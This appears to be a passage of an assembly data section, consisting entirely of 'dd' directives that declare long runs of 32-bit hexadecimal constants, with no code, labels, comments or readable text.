		dd 0D5F02871h, 6089050h, 8101EDF0h, 0ACE8D44Ah,	824E75Ch
		dd 592660BEh, 0C57255B7h, 63297500h, 8CCE4733h,	86BC15EFh
		dd 0A500A8D4h, 6BC55EC7h, 480F39AAh, 33F9FA07h,	9C6F6500h
		dd 7DED426h, 0A2777AA4h, 7EB5D03Fh, 0E400F54Fh,	9C02340Fh
		dd 0B05CAAh, 73C44332h,	12BED47Ah, 83B1E81Fh, 85FD2600h
		dd 3303357h, 0EB1CDB47h, 380061D1h, 0C59D9FDCh,	0C098E62Ah
		dd 60240148h, 793A2793h, 0E9DE8725h, 1CF0DD53h,	391B0270h
		dd 0E3812B34h, 9983B62Fh, 0E839808Dh, 13FA3E9Ch, 82C8005Ah
		dd 831C4C19h, 905CAD8Eh, 0B12F3E39h, 0ECDD7801h, 0EAB84A30h
		dd 1B2A01D6h, 0B064FBEAh, 46284098h, 0AD3F445Bh, 774808Eh
		dd 7D6C6A1Ah, 0DEE82786h, 5E183A76h, 0E4FCD751h, 3C342A70h
		dd 780F7288h, 84E407D8h, 0AE225B8Dh, 0E3C508Fh,	43A50A3Bh
		dd 51C50755h, 9980308Bh, 8706BADBh, 0FD0B94Eh, 35F0BF49h
		dd 0A10D3200h, 338E0751h, 90FC3D82h, 0B3D9B91Fh, 0B9EEE629h
		dd 0F8C1F302h, 0FF090241h, 0C0D0AA60h, 0E93AAD00h, 0A685DC7Dh
		dd 91E63072h, 2A1EFA31h
		dd 8063B83Ah, 9E1576Ch,	33433CDFh, 226823D6h, 9B37F680h
		dd 0B9E57B00h, 9FC6E36h, 4F9A38D3h, 1D99800h, 0D744AD75h
		dd 5B9D5100h, 71EE1155h, 26FF768Ah, 0A1DFD2h, 0DA01949Ch
		dd 0C738BCCFh, 93A080ADh, 0FF2EDC5Bh, 0E227003Ch, 4F1DA6BBh
		dd 0E00C413Bh, 69CD0A94h, 84BF1354h, 80C70552h,	0E5B70518h
		dd 0C1F680B0h, 39064309h, 9CB35005h, 9ADA0030h,	0C3B1CB51h
		dd 940111C1h, 0CD0392DFh, 8886DD20h, 8ED679Ah, 7AF14F00h
		dd 19D2A186h, 82943F73h, 219CBD80h, 0B26D1ACFh,	6499530Dh
		dd 3DD131F5h, 578DF4h, 91A613A9h, 0FA0C8AE3h, 40815601h
		dd 4E1DCDA0h, 0F8C68980h, 8C4CD535h, 7A1B3B18h,	30EF4F81h
		dd 1A29A857h, 0B371D46Eh, 0B0E711C0h, 1B64C5h, 0F572BCFBh
		dd 4A0FAC0h, 0DAFF4F00h, 4EB959BBh, 0FD8E682h, 0BFAA50E0h
		dd 4D2CC863h, 0C3F01A9Bh, 0D400CDFBh, 0F88A5ED0h, 0EEE95C2Eh
		dd 8346645h, 7B0021BDh,	0E8EF8A26h, 0A0E74Ah, 744C41ACh
		dd 0AA5587D8h, 0C3130619h, 5D181B59h, 2E238A76h, 0D11124h
		dd 208A2586h, 0A2BADCh,	0F64DB57Bh, 4805F5EDh, 0FDBDCA07h
		dd 756081D6h, 3CB8DEE5h, 0BCB149B2h, 807DC018h,	2BC5CE48h
		dd 0C070D035h, 0B68FB410h, 790CA32Ah, 949C917h,	207760BFh
		dd 92B68614h, 7A9E5E01h, 0EDAEAA75h, 61FEC080h,	0F2DDBB31h
		dd 0DE500D83h, 0E9B1C5ABh, 60199DEDh, 18859140h, 1E72EB1Ah
		dd 1402CF7Fh, 1D888417h, 0F18A23C0h, 2234462Eh,	2B3007D3h
		dd 80689B8Ah, 0F10538FCh, 0B6A4C603h, 0BB22CFA1h, 445801E3h
		dd 9CB90B3h, 77C8D453h,	0D60053B8h, 8952F2DEh, 0E0C3F0CCh
		dd 0A3D750B1h, 36DFCE1h, 8DDDC6Fh, 75F85E63h, 9000812Ah
		dd 89BAE0B6h, 227CA4h, 12A83986h, 0ED402E18h, 0C925A02Ch
		dd 39B8DE27h, 616F5380h, 0CCD76380h, 0D78F202h,	40C4EEB0h
		dd 362FF7Bh, 50410803h,	5FB0CC93h, 6D05CF3Bh, 0F4BAB207h
		dd 0D3FFDC07h, 131EB030h, 0C8A00077h, 0A26A772h, 8B76B5D7h
		dd 9AABBC00h, 28A94D59h, 29390073h, 0C793458Eh,	23F6374Bh
		dd 5EB8C600h, 0F5913E9h, 19523C9Bh, 8587110Ch, 3000CE10h
		dd 0A3435B18h, 0C155DDh, 39639D5Ch, 754A90C2h, 0E91A5801h
		dd 9B0721ABh, 0FA11A0F0h, 29DD0044h, 0F1EB32Ah,	1C006719h
		dd 374C9B0Eh, 33F890Bh,	0BBF910A5h, 0ACE108D4h,	39388FB7h
		dd 312AE0E6h, 0EE669A56h, 24A0315h, 53175E81h, 52263F8Fh
		dd 470022C1h, 1BEE1634h, 3D81CDh, 5F7D3044h, 261C6015h
		dd 11E9C100h, 0A0B2B377h, 0F2EA00F0h, 921A4AD1h, 0B400AABAh
		dd 0CEB92B75h, 230383h,	13E7EDBCh, 116EB231h, 7300F676h
		dd 0DDB93C54h, 1F292426h, 0CADA61h, 0A4115314h,	6B03D3EBh
		dd 4B6DD26Ah, 63BCA08Eh, 0FCE800ACh, 0DC2679A1h, 6EF40197h
		dd 21C06875h, 65FC514Dh, 2A360070h, 11FBAE50h, 0A800D9E7h
		dd 0D3AA5D56h, 0C8FC5CFh, 8C9EA951h, 55008338h,	63E486EBh
		dd 0DD1CCF8Eh, 216F1872h, 0EB005CA8h, 36EAD96h,	7DCBB321h
		dd 7A7703ACh, 8FCC8BA7h, 5C6336B8h, 83E94A7Ch, 0CFB3DC38h
		dd 0A851CF5Ah, 9995021h, 7C216Fh, 2BA291h, 25286DC7h, 0E633A5D5h
		dd 90F5C10Fh, 0DA8F205Dh, 18A60C5Ah, 0E98A55C5h, 0D006208Ch
		dd 0BB2EE4AEh, 7AB20010h, 85AD565Eh, 553388BFh,	281E087Dh
		dd 18F66B91h, 81C64D87h, 52787006h, 2654F500h, 8443E1A3h
		dd 545F44Fh, 3D4C2C14h,	629803ABh, 0F9E844BBh, 242817F4h
		dd 8346CC9Bh, 0B7FCF201h, 0CDDF679h, 5B4F8889h,	5845FC04h
		dd 0E580C0FDh, 0ECC164C2h, 0A1990C59h, 53A91FD9h, 3CBBB500h
		dd 0E426D8F6h, 0D6F10527h, 0C25949h, 0B12C2FDCh, 0CF39D081h
		dd 1FA30FE6h, 0B917C0CEh, 1EC661BFh, 41F0FDD8h,	5C89A882h
		dd 340930AEh, 6967B500h, 1C0E0F3Fh, 0FA9FE17h, 9033C4DEh
		dd 0F69101E0h, 0F400AE7Eh, 6E75E7FEh, 3146B0h, 0AD977D0Eh
		dd 99DB3DA4h, 0D7DFA71Eh, 0D91D0B2Eh, 366608C0h, 1EDA6Ch
		dd 0F3146124h, 73AF4E2Eh, 93F2A901h, 0CCE56206h, 48EAB3F8h
		dd 0D21BB341h, 9A038F1h, 4B00B2D4h, 0FB6FF91Fh,	197BE7Dh
		dd 8A7902D0h, 0CC67888Ch, 3E78935Ah, 60E11403h,	0B32AA5B3h
		dd 0BF73E9B8h, 0A85C4980h, 90FD729Fh, 1521D100h, 197A1F9Dh
		dd 0FE9500B2h, 39FC5C45h, 0A6000793h, 0CEA96012h, 61E6989h
		dd 0DE87513Eh, 0B900D182h, 0F4FB0983h, 3D9F21A7h, 777ECB5h
		dd 54B8516Eh, 0BAC23303h, 0F7525F0h, 50C0E274h,	0B562981Eh
		dd 9E0A0FBFh, 0EB6E5CFCh, 454EDF27h, 782EC0CFh,	86301FC1h
		dd 0DB63B9B0h, 780A60FCh, 1D9D8CA0h, 0F57B1300h, 0E60C1174h
		dd 2ACA0137h, 0D7E5FB1h, 3801E309h, 0C038BD66h,	0DBFCC8B0h
		dd 2FECD5h, 4DB3ADD9h, 209BEEF4h, 86957200h, 7D686665h
		dd 638900FCh, 75309CF1h, 1800DC1Dh, 0D4838E3Ah,	77EAA7BBh
		dd 3BFE0B3h, 849E27B1h,	2907DE36h, 2CC7CAD4h, 0F96EC140h
		dd 10390528h, 3F66AD2h,	0EE8F11DFh, 9C25E3D9h, 48C76B30h
		dd 8BE038A1h, 0E660EDh,	29238D81h, 58C8074Ah, 6BEBEF00h
		dd 52E55A1Dh, 1EB13CD0h, 0A5C220Ch, 0D700DC18h,	74B92A2Eh
		dd 3E7E5AEh, 8FCEEEFDh,	5BE39910h, 1895FBB0h, 3603AD02h
		dd 98ABDFh, 0BCA31A86h,	0CE300506h, 7031518Bh, 0AA1000DEh
		dd 0E25CEE57h, 7801C398h, 0D4761E68h, 2883FAA2h, 90AE8551h
		dd 8394E7F0h, 0D29E790Ch, 22D91Bh, 92859A6Fh, 0A7C7A591h
		dd 0AE76DD00h, 0F0828AE2h, 8D63505Ch, 90C6052Ch, 800B5AD5h
		dd 0DE059BD0h, 0CF09207Bh, 86C77117h, 5820D2B7h, 0A6005909h
		dd 0E00F275Fh, 0C60017CAh, 5B704B25h, 0C0D73E4Ah, 20758F28h
		dd 4B868F9h, 9D316271h,	5B850827h, 287A2080h, 0B9025DF9h
		dd 9B0C2200h, 0BE654FA4h, 0F30E1805h, 0AE0F4847h, 0E2CE1206h
		dd 0C06864FBh, 75528F89h, 0E01E183Fh, 0F3C85667h, 0D09C005Eh
		dd 8CFB791Ch, 8903A2F2h, 0B4E60BF5h, 0D5380058h, 7F88303Ah
		dd 0EB0C41D6h, 829DEB6h, 1921C063h, 0CB2D8807h,	45A19606h
		dd 180E71h, 20F0535Ah, 0CAC1C4F2h, 0E4805800h, 979554C5h
		dd 277500E6h, 0B267F396h, 1673EDD1h, 48F07E7Bh,	9A070900h
		dd 79A83849h, 0C8E63E29h, 0ED002CBEh, 262F1B36h, 9E0084EEh
		dd 77FA212Bh, 48F804B1h, 11037A87h, 9CE49245h, 0E5DC5580h
		dd 91A09B01h, 0EC75BD80h, 0F22538DCh, 0E16238C4h, 6600653Dh
		dd 88F61250h, 0C70098D3h, 5A185543h, 3E26DA14h,	0A6019CC9h
		dd 41362EF2h, 9D70C483h, 810CB801h, 0A40EDFBFh,	1D167EE4h
		dd 0C068ECEDh, 94353FA0h, 1D0B972Eh, 80D317FBh,	1BD1EF90h
		dd 224C0023h, 0F3F78363h, 6D332748h, 3CD9086Bh,	5983A321h
		dd 0D5F749E5h, 7F68B8E0h, 0EC5B9800h, 0D14578A7h, 0B0D050A8h
		dd 0C0267B93h, 3698C338h, 9E1E7624h, 0A699AFCAh, 21801608h
		dd 343690E4h, 0B15C6F77h, 57241FCEh, 1A87EF01h,	7C719954h
		dd 1BCE4AD4h, 20D8F7B9h, 0EF84BBF1h, 480C23B3h,	50EDCB92h
		dd 49450044h, 47693AEFh, 41F4822Dh, 0E0946D0Ah,	215E50DBh
		dd 1E81EDEFh, 0C818A415h, 1A09230h, 42F57C20h, 80D5A5CDh
		dd 0A269BC58h, 0A1FB2307h, 0E305E86h, 899D0531h, 80C7CDDBh
		dd 0C1AF657Ch, 0CBAB330Eh, 3570C0E2h, 92C3881h,	0A71CBFA0h
		dd 0B093E981h, 4DADC866h, 5CF9902Eh, 8BAE803Eh,	411AF260h
		dd 3AE9F076h, 3A80FF1Bh, 2F5D4635h, 52013F5Ah, 0FCFA168Fh
		dd 0DEF86C07h
		dd 3E8783Eh, 1F4F2B24h,	78F14127h, 8A3FB29h, 565390C7h
		dd 930CA6AFh, 9B85D35h,	20FB6024h, 0AE56EC87h, 0F700A6F0h
		dd 0E2B92233h, 0FCF980DDh, 708D60A4h, 971AB264h, 392E5F30h
		dd 3014A1C7h, 996838F6h, 0B2008770h, 0C00CB3EBh, 39F20490h
		dd 0C70663D0h, 48819197h, 412A5F30h, 713A2558h,	603E3BC1h
		dd 9633CE00h, 0FCEC360Fh, 64C97500h, 2EB29357h,	624736Fh
		dd 4A8E22D9h, 0E8C8F095h, 56F5C082h, 321A685h, 0AEF96034h
		dd 6CB02256h, 4228A400h, 0CF9734B2h, 0CC2300A6h, 2513DA9Dh
		dd 4800E42Eh, 7B8BCB30h, 0C8766Bh, 50799A88h, 6CD0717Ch
		dd 6ED2BC00h, 357F15D7h, 710BFCE8h, 90860084h, 437B9EA1h
		dd 8000CB01h, 0C5D487B5h, 26D9C833h, 4E21EBh, 0D2A5F072h
		dd 0FE003D3Eh, 1FDB8E3Fh, 345412h, 0DA461D89h, 0EA3592F2h
		dd 0C76AC500h, 0B6C3CBD5h, 7D6D01ECh, 0CABC82FFh, 9CB260AAh
		dd 136339h, 3693A751h, 0D6DB1Ch, 7948A158h, 5A03B90Fh
		dd 5914F70Fh, 50176044h, 0B44C1Fh, 864AEA38h, 0D1928B69h
		dd 0B2D0B307h, 1C57A47Bh, 94C4A201h, 0CD05C8h, 8E0FC746h
		dd 0F5DFE8F6h, 53DAB600h, 1FEBB48Ch, 7836003Eh,	9113F807h
		dd 0FC007034h, 6637ADD1h, 17762FBh, 6CDC3529h, 2082CE28h
		dd 7A00D4C4h, 22EDF1A8h, 0F292EB6h, 0A14E2BABh,	7D37B3C0h
		dd 881895ECh, 0B6689D41h, 720300AEh, 4D1F2D6Ch,	0AFF423F0h
		dd 630EC790h, 0E3F301D7h, 0C054FAB5h, 79925CD4h, 771E628h
		dd 2201A5AEh, 0CFD9F0D1h, 0C300150Dh, 0A14D6206h, 6023A8BBh
		dd 0B0A279AEh, 15189A79h, 0A4D82617h, 19FE00B4h, 8B685EA3h
		dd 9330F856h, 0B04CE8EFh, 4EB8072Ah, 8C833Fh, 0D93E632Fh
		dd 0BC01E400h, 0B2D33CC6h, 286F1E56h, 0AA49C00Bh, 7E9CE1D1h
		dd 18838200h, 61B10D76h, 390360F3h, 2F6D5407h, 8AEDC200h
		dd 0DDD641Bh, 0C7DC006Eh, 0CC3F0215h, 4FF44A5Fh, 46F18E00h
		dd 3C01E3BCh, 2C7682h, 0BE81B154h, 8DC8C7A1h, 0AF61D31Fh
		dd 290026DEh, 79DC1EDBh, 0D85B3058h, 9EBDA470h,	0B60BAA00h
		dd 0BFC5CC43h, 6177B8h,	0C732BE6Ch, 0D1DD82DAh,	783CC4FEh
		dd 0E1D980B2h, 6F96CFB7h, 0AF590C70h, 3518B502h, 66939500h
		dd 0A14F72EDh, 3E561830h, 0F476408Eh, 0E98D2001h, 0DE695845h
		dd 90180BDh, 0DF49DAD8h, 0D93FE0F8h, 0F144BE03h, 88C0208Ch
		dd 0E2ED3Eh, 317669B8h,	74D0E609h, 89783700h, 0F78FE1F9h
		dd 446405E4h, 0B650B7h,	332E30A4h, 50C0FF4Fh, 909FEA0Bh
		dd 1BCE0073h, 442C7E91h, 7B0032F9h, 0C0EE5839h,	1FFCA6D9h
		dd 778D95h, 285C6A4Ah, 0E100355Ah, 0BD8F68FDh, 71EED40h
		dd 0AE47A78Dh, 6AEB4092h, 1200FDE6h, 1C3DBDB4h,	8A409Dh
		dd 0D78225A1h, 0B9A48B63h, 0E134CE06h, 374C5D3h, 0FE6CECF8h
		dd 4000ED57h, 26EF907Ch, 906DC6A4h, 6FB1063Bh, 38CD13FEh
		dd 0E418F372h, 5D111A19h, 368E229h, 0FCE89BC9h,	8199D90h
		dd 3D20C737h, 0C4C5BD4h, 29ED2B13h, 48F8FE58h, 0B0699730h
		dd 0C194C8h, 0F42CAE67h, 2DEC5C04h, 7B5B7A18h, 0EDC8F0h
		dd 0E6506768h, 1E8B13F7h, 0A6242850h, 0D7029B43h, 642D1AEAh
		dd 80E04F30h, 670056AFh, 0AE2C87A3h, 1850C7A4h,	69A54663h
		dd 16601247h, 57F24ED8h, 1F5A3EECh, 711592h, 1004A97Bh
		dd 317433BCh, 0A4ADB70Eh, 7C58E0D3h, 2BDD17h, 0AAD7CBA9h
		dd 0D987F489h, 70DE804Ch, 0C400D170h, 491AE216h, 7132BD3Eh
		dd 484200BFh, 0B7833928h, 1C00FF7Ah, 2C578AB5h,	889410h
		dd 0E87DE92Bh, 9744F30Ch, 3C4F2358h, 941800ECh,	8DA57436h
		dd 2FC8FD4Ah, 78830BCCh, 5080E00Fh, 0E8EF5314h,	0D493CE03h
		dd 9015F9F7h, 0B72DAD46h, 1A049FD8h, 50269D3Dh,	59DA00EBh
		dd 6D804A56h, 83004574h, 0D5C0A028h, 6462B3h, 8E41428Bh
		dd 228D7848h, 7834ED31h, 0CCD84FE8h, 3DFE09h, 0F69226ECh
		dd 2ABD791Ch, 66720718h, 3EABA951h, 4680856Eh, 4CE46908h
		dd 65018D3Eh, 32EEE3DAh, 0C57071BDh, 47300F2h, 5493238Bh
		dd 0B77FD656h, 0F501EC3Dh, 6FE23A0Fh, 58426D60h, 122EC8h
		dd 85CA5B8Bh, 0E89CEABEh, 88AA30EBh, 0C14AE20Ch, 1844284Dh
		dd 90912DD3h, 0DE092101h, 8075BF0Bh, 0EB909A64h, 0C780004Bh
		dd 2D842956h, 102C4C23h, 0B004897Ah, 0BCAF3C44h, 0D007190h
		dd 81760CDBh, 0FC77A41Ch, 0BDCD0069h, 5D679DD4h, 0F500BFEEh
		dd 0D5E6597Ah, 0F04647E2h, 1CE7212h, 1B5F76B2h,	0F0405632h
		dd 18C06DDDh, 5CB672DAh, 23410031h, 0EA01A69Ah,	0C400F315h
		dd 0E33BCB11h, 7BD686E2h, 5A75D8h, 0CA1EB4EDh, 577292E6h
		dd 5404A472h, 1FE81987h, 6722E200h, 1B001AE9h, 0FE777885h
		dd 3163735h, 61C21D4Fh,	0D903367Ah, 1BAE44B4h, 0A82EC031h
		dd 1DEE0599h, 0C019A9ABh, 1EF17B21h, 1FE40839h,	707A528h
		dd 0AE40A29Dh, 74B23C41h, 1D9B3F01h, 0A7FBE787h, 86A2C7C2h
		dd 0AE0518EDh, 98FD7EBBh, 0A99FF300h, 0F99EC542h, 70236FF4h
		dd 6B58C01Eh, 270C1937h, 2DB82B60h, 6D91112h, 0E297773Bh
		dd 7800409Bh, 0EFDBFE81h, 0E090740Fh, 70DF0EA5h, 1861C5C0h
		dd 805D7C6Dh, 49406E79h, 1D9311BCh, 123865h, 371A9769h
		dd 7465C18Bh, 2C2C980Ch, 0EB1D186Dh, 0AD5CA89Fh, 1619F1C0h
		dd 0C0692FDAh, 0EE80BC18h, 7F27515h, 313042E2h,	2B9B28AAh
		dd 0F041B8C8h, 0A66930C2h, 0E87BF241h, 5638787Fh, 2900F5F9h
		dd 91894567h, 0C058C7h,	0E5B46479h, 169C8E4Eh, 47BB0F00h
		dd 0D16B40EEh, 0E89A1EACh, 0A78DD42h, 882450A0h, 8F3D39DEh
		dd 81F6096Eh, 9ED4404Eh, 225AB1ACh, 0EBC83EBCh,	16F697h
		dd 28853B69h, 120C5106h, 0C0AB0F0Bh, 4ED1497h, 240FE8F6h
		dd 3D04575h, 0F24CAABEh, 273BC895h, 42C202A6h, 0FDB750F0h
		dd 983A98A1h, 0D866F80Eh, 4A5C7300h, 88085ED5h,	3182001Bh
		dd 230F5119h, 0C4B09B05h, 8780A300h, 2A061210h,	201D6050h
		dd 0D099EBE6h, 0B40EC60Eh, 0DE1BC075h, 0C6D0A52h, 65042A5Eh
		dd 0FC005528h, 2BA37AE8h, 9928A5h, 0E12269B7h, 0E4E372BEh
		dd 981F3900h, 94B0F0B8h, 67DB0045h, 0ACD2C2A4h,	42489C1Dh
		dd 19A3B18h, 5AD054F2h,	1B70A853h, 3ECA03Ch, 10863906h
		dd 68825B8Ah, 0A0207ACh, 3B1AD334h, 1E01D8C6h, 0FC76BD95h
		dd 4DF15BBCh, 6D001EDh,	0F1AA00C8h, 9A9F3926h, 81E83E92h
		dd 6BAF6803h, 1F4E162Ch, 8008CD11h, 0B9C8230Dh,	5A783911h
		dd 89CC9600h, 8F34B522h, 45A30003h, 1621E644h, 431C3C76h
		dd 5B0055CAh, 686EF210h, 8319300Dh, 0CBC8FA8h, 0C9AAE21Ch
		dd 96803F5Dh, 0A49AC223h, 0DF4E0090h, 948974B6h, 6F1D29ECh
		dd 8F0C8259h, 0B3909Eh,	249B01A9h, 1B65E8C8h, 8769AC1Dh
		dd 44030503h, 0C806C3ECh, 31A40ABh, 845308EEh, 410497EBh
		dd 0CFB27B33h, 0AAAD0100h, 54614483h, 42036058h, 4D88E0CFh
		dd 0DF9C0070h, 63CED7F2h, 201D15B5h, 9A6EB287h,	2507021Eh
		dd 42E0A84Eh, 3E6E77Eh,	0F9B0DEC6h, 15803A82h, 3200457Ch
		dd 7A8F73C2h, 3E4217h, 54F0FB58h, 5E33B7CBh, 19A8B00Fh
		dd 3C14A05Ch, 3ED35DA3h, 871C5F1Dh, 4E819FDEh, 0F5002646h
		dd 0A9669F84h, 556D5000h, 0FEAA5261h, 204760C3h, 0E35E6944h
		dd 0EFA47500h, 671E3948h, 0A2A8006Ah, 0FDFBCE52h, 0B0F8EE0Ah
		dd 1AC9C618h, 756AA38h,	14DCACD7h, 79608045h, 0F5013174h
		dd 0DB1EF9D0h, 4D0F820h
		dd 9D88C0CAh, 0F5167464h, 0B3FE30Fh, 6022A039h,	37188BADh
		dd 5AC80528h, 6C450E90h, 1D150C97h, 0EE00C611h,	0ACA0C1ABh
		dd 0DD989959h, 1FC0CDEh, 0B4008420h, 6CD06BAAh,	127AA508h
		dd 39786A1h, 0F234EB93h, 43D34598h, 0C8274C32h,	0F60B5ABh
		dd 0CE03C29h, 0D34A72CBh, 682DA30Ch, 436B51B1h,	746501A1h
		dd 0FBB05825h, 0B0D4670Ch, 749D00A0h, 0A51B75F5h, 84480008h
		dd 49E885DEh, 0B0009C47h, 0E6B406F2h, 78125719h, 6F9300B9h
		dd 8284F03h, 13000521h,	0E5E0D651h, 8FF4AFh, 1ACD5DAEh
		dd 861667Eh, 0D1408A00h, 72E437C7h, 0E8950159h,	665409F3h
		dd 0EDD4E8B6h, 928BC900h, 0E667BBB4h, 0F083E4E0h, 44EFF2Dh
		dd 34B97200h, 0D4779816h, 52E5B500h, 0BA96599Dh, 0FA700042h
		dd 3F8B9F67h, 43F0319Ah, 0EA734000h, 0C34E45E1h, 61270092h
		dd 0AAB5F024h, 943C746Dh, 47A7806Ch, 0EB3F84F2h, 5D321E73h
		dd 44254E0Eh, 0C9B3ADE0h, 0A23D780Ah, 141A03F6h, 80F7EF24h
		dd 67B2C0h, 62150BBEh, 6E8B8966h, 267FD500h, 42233ECBh
		dd 0B0A264Ch, 50800A5h,	0AAB6A42Fh, 0CF20E700h,	5AC10270h
		dd 4C5C1D6Fh, 634600CEh, 73C54B72h, 43D18500h, 0BD6C50DAh
		dd 70FE22h, 18D08907h, 3E1B5524h, 1A913Eh, 436903DEh, 5CFD99h
		dd 3716095Bh, 7E9C0A0Ch, 2EEB1A00h, 0E0833B25h,	56400080h
		dd 2943C768h, 0A200CA01h, 3422C0D6h, 0F2745Eh, 157F2318h
		dd 0C62A3F60h, 420C2900h, 0E58DC859h, 5A1801F5h, 2F8F5D23h
		dd 0BE76E057h, 0EAE76507h, 35D08E3Fh, 906CFBh, 0B8FC97A0h
		dd 0AB607FD0h, 0F03E3A00h, 52F4492Fh, 6C030309h, 0BADA2ADFh
		dd 0E42C8BC9h, 9003C153h, 0E98FEB05h, 0BF383B7Ch, 37D73D07h
		dd 0D1F6903Fh, 51009383h, 0AE3CDC0h, 0CBA08Ah, 40DD1750h
		dd 0FD67C908h, 7C0BF00h, 0BE295A9h, 0DA0C076Fh,	0F72670AEh
		dd 0B6FE20E1h, 6102CE7Fh, 8198DBD6h, 0ABD6E7h, 7D0B1996h
		dd 6A753354h, 261C4092h, 0CD001442h, 27727851h,	7FC500A9h
		dd 94565535h, 0B3004F95h, 1E918A5Ch, 72F0B43h, 0F066FE70h
		dd 3C9B4017h, 7A03F525h, 0D07D06F8h, 3B4100AAh,	0D6A26C8h
		dd 5C000116h, 0F2FBB1DAh, 86489Bh, 2BE2759Ah, 14E31EB8h
		dd 7900F1E6h, 3E60161Ah, 0A7FC43h, 0A5366EBEh, 42BF133Bh
		dd 0EDEE6C00h, 0A910CAEFh, 0F50F39F0h, 20701481h, 0E0F419D3h
		dd 4C300651h, 0F1318F6h, 52D60012h, 4948357Eh, 3D70C7ADh
		dd 0B9E33Eh, 2DCEAB7Fh,	304C9770h, 3651169Ah, 0C30018F9h
		dd 0F2BA10Ch, 4A76EDh, 3573D341h, 0BDDFA9E8h, 3CF948h
		dd 1B324806h, 0EE4E6F8h, 7308EF7Eh, 66EB9B00h, 29003570h
		dd 566F4DCDh, 9183BF7h,	1003C2EAh, 90FF8907h, 4A33945Bh
		dd 444C2901h, 0F6BE6BEEh, 829AB450h, 0A82B00B8h, 0ACB4575Ch
		dd 4E008D1Bh, 70306C78h, 0ABAF6DDh, 0D63AD343h,	322D0084h
		dd 9A3EFB8Ah, 29D279ECh, 42837080h, 77710782h, 0C037E4A6h
		dd 0D7C44163h, 7AC7C300h, 3A93C0CFh, 0C05BFAEDh, 0FA3A438h
		dd 0BC00401Fh, 89352BEFh, 24DF1D0Ch, 0BB1C16EEh, 3E120172h
		dd 0A275FE38h, 0E58030CBh, 363538h, 5756633Ch, 0C9BC6Eh
		dd 812EBE80h, 3B779B38h, 0FA049CA0h, 0C528A600h, 1485422Fh
		dd 0CABC03EFh, 586A7E81h, 0C6BD880Fh, 0EC0DF7Fh, 4DBB3E8Bh
		dd 1358B0F3h, 1C68D616h, 4FDCC030h, 6C3F679Fh, 0BE658C07h
		dd 0A0EEA37Eh, 6E9DF8C0h, 190C03ABh, 0B59904E1h, 0EA987000h
		dd 40E3EEF3h, 0FEA800B3h, 0D52B17E4h, 520094B8h, 0E2FFFC6Fh
		dd 0F9D1B85h, 0C78C4D06h, 6603DB40h, 5A00469Bh,	0DD50828Ah
		dd 394AFBB6h, 37152552h, 4F0060E3h, 6F470F08h, 8800EFE9h
		dd 3D8045D0h, 5064D6h, 0E6BADC84h, 0FF14082Fh, 6A551E00h
		dd 234465CDh, 517800DEh, 0C83EB29Dh, 0EAE02A50h, 10938A1Eh
		dd 0BEB3FD00h, 1C64059Bh, 4BDC7F2Fh, 40809FE1h,	0C5ED1A9Ah
		dd 7A9B5100h, 5BE03505h, 5C6E0377h, 1F493415h, 32C10AC0h
		dd 736BB07h, 1313F6EBh,	0AF82D06Ch, 68FA0545h, 8087ECF0h
		dd 76A2B174h, 0C5EE7100h, 0DAA0FDE6h, 24ED02FFh, 42813C83h
		dd 0C0D4B460h, 50020A01h, 98F6A166h, 508E6430h,	9180AAh
		dd 27C9D908h, 0FFC73E22h, 42EB0200h, 0DB263AB0h, 2E271C8h
		dd 0BD88E6F7h, 86016A4h, 0FF011752h, 5BC744DCh,	0B8D891ACh
		dd 2D9D002Ch, 0F21CDF54h, 6403F8A7h, 0C671D059h, 6776A05Bh
		dd 47DB0080h, 9C682F36h, 0B900B01Fh, 267BDA9Eh,	125B4052h
		dd 0AF976081h, 0A300F612h, 8AAE9311h, 0DE630057h, 0FBCD598Fh
		dd 0A000DBDAh, 0E1275E04h, 6B47D6h, 303ECFD4h, 0CB451E20h
		dd 7800F5F0h, 12A9502Fh, 167EBC88h, 0F7CCC1h, 0B49DC304h
		dd 0E500AE3Bh, 23FD5B4Bh, 0CC9F5D8h, 1BF65198h,	60075910h
		dd 6FF23D5Fh, 891203B0h, 0F8745B7Eh, 7617000Eh,	4350963Eh
		dd 0C47B006Ah, 425413C5h, 0BF00E67Eh, 0E12475A8h, 3CD59DDEh
		dd 77D7CAh, 23C854C6h, 2B6A1EA1h, 3B658000h, 0EC131DC9h
		dd 0E7920030h, 7E99C21h, 5100B015h, 0DC8571FBh,	585837DDh
		dd 3BC20C6Dh, 6C480C0Fh, 0BF00021Ah, 0B1880149h, 273FDAFh
		dd 0BC3AAAD2h, 9040EDA1h, 0F924DE81h, 371ECF22h, 0F7EEFE80h
		dd 7D570F78h, 2C551C56h, 0D5B7C042h, 0C12EBBB9h, 0C391C212h
		dd 8236D000h, 3D748556h, 0CD9D95A8h, 44D60006h,	0B64A9386h
		dd 941F39EAh, 0D2808A69h, 49EB6AC9h, 407D0052h,	600E9CE6h
		dd 6964BB83h, 4BC05518h, 73DE787Bh, 0BA980381h,	0E5801813h
		dd 0CB75DD0h, 0DC76043Bh, 1C3B1FDCh, 1A2E92C0h,	26855F67h
		dd 9E4259Bh, 0E303B7A7h, 42F89A4Dh, 0EF0739C8h,	9D8FF5F9h
		dd 0F7A2C720h, 2FDA095Bh, 0A8A03212h, 9E21E56Eh, 2092470h
		dd 801D658Ah, 367A96D3h, 6DBA0370h, 610BDCBDh, 0DDD33001h
		dd 63B1EEECh, 47F2080h,	6198E107h, 7E64B902h, 0C01F769Bh
		dd 1B4BDDh, 0E7CF9F52h,	17EB4703h, 282D4E48h, 0AB02D080h
		dd 7B86058Ah, 0C4CC0D1h, 5E0605D4h, 847F42h, 16FEA46Ch
		dd 0BF7FC417h, 0AB95DA00h, 26181CE2h, 29B79E7h,	0E41BF8FBh
		dd 0B4876448h, 0E5E66023h, 27B810D7h, 0AE8B6C00h, 41C08D40h
		dd 270D00C9h, 81CBED08h, 0F2C02464h, 7B05F460h,	15A4018Bh
		dd 0B7100FEEh, 7F40767Dh, 3D3E7172h, 917586DFh,	118FFE6h
		dd 0EB6D692Fh, 60187C27h, 9800A9BCh, 0EEF4E2AAh, 5572A8h
		dd 0C6C80C49h, 0E8E125B6h, 0AA827A02h, 0D505E3ECh, 55EF4DE0h
		dd 872D430Bh, 23C820EBh, 0D3CE53h, 0DFCF12B7h, 95CD982Fh
		dd 42052BE2h, 7792178Ah, 401204C0h, 0A9E70063h,	0FD08E2CCh
		dd 0DF0781BEh, 2FBB4CDCh, 0C07C0C62h, 983B74h, 40446213h
		dd 894B0E6Eh, 0DF29040Fh, 0AFF54E8Dh, 100D80C3h, 0F7FD6646h
		dd 0D6A6E8CFh, 0AB0230EFh, 0CA4EA0D8h, 2D12DF00h, 399FF703h
